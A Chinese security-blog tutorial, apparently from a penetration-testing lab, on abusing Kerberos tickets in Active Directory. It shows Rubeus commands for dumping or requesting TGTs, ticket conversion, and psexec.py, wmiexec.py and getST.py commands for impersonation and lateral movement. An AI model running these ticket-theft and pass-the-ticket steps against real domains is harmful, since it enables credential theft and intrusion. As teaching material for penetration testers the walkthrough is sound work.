freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

内网渗透:票据操作使用(kali和windows)
2023-11-05 01:17:13

前言

前置知识是kerberos认证原理,我这里默认读者已经了解了基本的TGT和ST的产生原理了。

本文主要讲述的内容大概如下

1.形象的理解TGT与ST

2.获取TGT的两种方式

3.不同协议TGT/ST的利用

1.理解TGT与ST

无论TGT还是ST,他们都是票据,用来获取特定服务所用的凭证,因此他们的表现形式都是相似的,如下

image

票据命名格式

  • **TGT(Ticket Granting Ticket)**的命名格式通常以"krbtgt"开始,表示Ticket Granting Ticket。它包含了Kerberos领域(REALM)的信息,格式通常如下:krbtgt/REALM@REALM。TGT是用于获取服务票据(Service Ticket)的初始凭证。

如上图中的:

krbtgt/CONTOSO.COM @ CONTOSO.COM

  • **ST(Service Ticket)**的命名格式取决于要访问的服务。通常,它以服务的SPN为依据,包含了服务名称、主机名和Kerberos领域信息。格式可以是service/host@REALM,其中service是服务的名称,host是主机名,REALM是Kerberos领域。

如上图中的:

host/win-o8g14c36dv0.contoso.com @ CONTOSO.COM

SPN(Service Principal Name)是用于标识和定位网络服务或应用程序的唯一名称。它通常包括服务名称、主机名和Kerberos领域信息。SPN的格式通常如下:service/host:port。其中,service是服务的名称,host是主机名,port是服务运行的端口号。

ST(Service Ticket)的命名格式通常不包括端口号信息,因为ST是用于表示已经通过身份验证的用户对特定服务的访问授权。端口号通常不是ST中包含的信息,而是在通信中的底层网络连接中指定的。ST的格式主要由服务的SPN(Service Principal Name)决定,它通常包括服务的名称和主机名。

因此,ST通常由SPN的格式决定,其中主要包括服务名称和主机名,而端口号是通过网络连接和协议来指定的。

2.获取TGT的两种方式

虽然TGT和ST都是作为获取服务用的凭据,但是TGT的作用对象是TGS服务,我们能够通过使用TGS来获取任意其他服务的ST,因此也被称为黄金票据,所以这里特地说明两种常用的获取TGT的方式。

2.1 shell登录后,无当前用户的账号密码

我们可能获取通过各种打点的方式获取了shell,并且查看whomi发现当前是域用户,但是我们不知道当前用户的账号密码。

工具:

rubeus

包含powershell版本的rebeus

PowerSharpPack

我们先klist查看当前用户的票据中是否有TGT,即krbtgt开头的票据,类似

image-20231016231757157.png

2.1.1

如果有的话,我们可以直接dump下来

执行命令:

. .\PowerSharpPack.ps1
PowerSharpPack -rubeus -Command "dump"

image-20231017115255799.png

之后我们将对应krbtgt开头的票据的base64部分下载下来,去除回车和空行,然后放到文本文件中,命名 b64.txt 。

然后将b64转换成票据。

powershell(windows中操作)

[IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String("<bas64_ticket>"))

bash(linux中操作)

cat b64.txt | base64 -d > ticket.kirbi

2.1.2

如果klist中没有TGT的话,我们也能够通过rubeus申请一张

PowerSharpPack -rubeus -Command "tgtdeleg"

image-20231017140447020.png

和之前一样,将对应krbtgt开头的票据的base64部分下载下来,去除回车和空行,然后放到文本文件中,命名 b64.txt 。然后将b64转换成票据。

3.不同协议TGT/ST的利用

在内网中我们最常使用的两种登录方式是psexec和winrm。

他们对应的服务分别是cifs和http。

以下是一些票据与技术的组合:

  1. psexec,wmiexec CIFS

  2. winrm HOST & HTTP

  3. dcsync (DCs only) LDAP

票据的产生是在你需要执行特定服务的时候,自动去跟AD申请获得的。这意味着你并不一定有权限执行你所需要的特定服务。

举例

执行命令dir \\dc01\c$\的时候,显示报错access deny。

但是查看klist发现,我们多了一张cifs的票据。

image-20231017141645999.png

因此尝试dir dc01的话就会产生这类票据,但是不一定有权限访问dc01的内容

3.1 linux中使用票据

我们通过 第2部分的内容获取了票据 ticket.kirbi,这里我们需要将他转换成.ccahe文件。

使用ticket_converter.py在Linux / Windows格式之间转换tickets:

ticket_converter.py

python ticket_converter.py ticket.kirbi ticket.ccache

导入票据

export KRB5CCNAME=<TGT_ccache_file_path>

执行klist能够查看票据的服务类型

image-20231017142522365.png

3.1.1 cifs票据利用

但我们先利用通过前面dump方法中导出的CIFS票据,如下:

image-20231017142756042.png

注意红框部分,我们后续使用pesec.py利用票据的名字必须符合这个格式。

比如在lab环境中我们执行whoami得到的返回是RLAB/bowen。我们执行如下命令利用psexec.py访问10.10.120.15主机(srv01.rastalabs.local)。

proxychains python ./psexec.py -debug RLAB/bowen@10.10.120.15 -k -no-pass -dc-ip 10.10.120.1

我们可以看到如下报错,并且我已经框出,我们在执行命令时候使用的票据。

image-20231017143105384.png

由于使用的票据名并不是我们导入的票据名,我们必须做一些更改。将RLAB/bowen替换成RASTALABS.LOCAL/bowen

proxychains python ./psexec.py -debug RASTALABS.LOCAL/bowen@srv01.rastalabs.local -k -no-pass -dc-ip 10.10.120.1

由于靶场环境,当时psexec.py并未执行成功,但是是成功利用票据了

我们用wmiexec.py替代psexec.py

export KRB5CCNAME=/root/temp5/bowen_cifs.ccache
proxychains python ./wmiexec.py -debug RASTALABS.LOCAL/bowen@srv01.rastalabs.local -k -no-pass -dc-ip 10.10.120.1

执行后如下

image-20231017143701765.png

3.1.1 TGT票据利用

TGT票据和CIFS票据同理,不过TGT的作用是用来获取别的票据,因此我们使用的是getST.py。

export KRB5CCNAME=/root/temp5/bowen_tgt.ccache

image-20231017143925956.png

getST.py -impersonate 'administrator' -spn 'CIFS/castelblack.north.sevenkingdoms.local' -k -no-pass -dc-ip 'winterfell.north.sevenkingdoms.local' 'north.sevenkingdoms.local'/'krbrelay$'

image-20231017144003857.png

同理,进行修改

proxychains getST.py -debug  -spn 'CIFS/SRV01.rastalabs.local' -k -no-pass -dc-ip 10.10.120.1 RASTALABS.LOCAL/bowen

image-20231017144054380.png

查看票据
image-20231017144101600.png

export KRB5CCNAME=/root/temp5/bowen.ccache

image-20231017144236048.png

3.2 windows中使用票据

在windows环境中,我们还是利用rubeus导入我们的票据。

PowerSharpPack -rubeus -Command 'ptt /ticket:c:\temp\http.kirbi'

通过klist查看

klist

1.png

# 渗透测试 # 网络安全 # 内网渗透 # 横向移动 # OSCE
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录